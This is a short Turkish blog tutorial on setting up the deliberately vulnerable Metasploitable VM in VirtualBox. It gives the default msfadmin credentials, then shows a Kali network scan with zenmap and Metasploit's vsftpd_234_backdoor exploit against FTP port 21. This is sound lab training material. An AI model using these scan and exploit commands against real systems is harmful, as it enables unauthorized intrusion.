Metasploitable Nedir?

Metasploitable bir işletim sistemidir ama zafiyetli bir sistemdir. Sızma testlerinde kendinizi geliştirmek istiyorsanız bu sistem tam size göre.

Metasploitable sistemini indirmek istiyorsanız BURAYA TIKLA

Metasploitable kurulumu basittir.

İlk önce indirdiğimiz zip dosyasınındaki vdmk dosyasını çıkaralım.

VirtualBox programını açıp yeni butonuna basalım.

Ve resimde gördüğünüz gibi ismini belleğini ve dosyayı tanıttıktan sonra oluştur diyoruz. Tür : Linux Sürüm : Debian yada Ubuntu

Not: Dosyayı tanıtmak için mavi ile göterilen yere tıklayın.

Başlattıktan sonra login ve password şifresi gerekiyor.

login : msfadmin

password : msfadmin (şifre gözükmez)

ve gördüğünüz gibi arkadaşlar içerideyiz. Şimdi bir örnek yapalım.

kali makinemizi açtıktan sonra terminale girip route -n komutunu verip gateway adresimize bakıyoruz.

Teminale zenmap komutunu giriyoruz.

Target yazan yere kendi Gateway adresinizi yazın (10.0.2.1/24) NatNetwork kullananlar için; Profile kısmı İntense Scan olarak ayarlayın.

Ve gördüğünüz gibi 21/tcp portu açık bu sisteme sızma işlemi gerçekleştirelim.

terminale msfconsole yazalım.

use exploit/unix/ftp/vsftpd_234_backdoor yazalım.

set RHOST hedef_ip yazalım.

exploit yazarak sömürü işlemini başlatalım.

Ve gördüğünüz gibi içerideyiz.

İyi Çalışmalar 😀

Bu yazı Esat Karamuk aittir.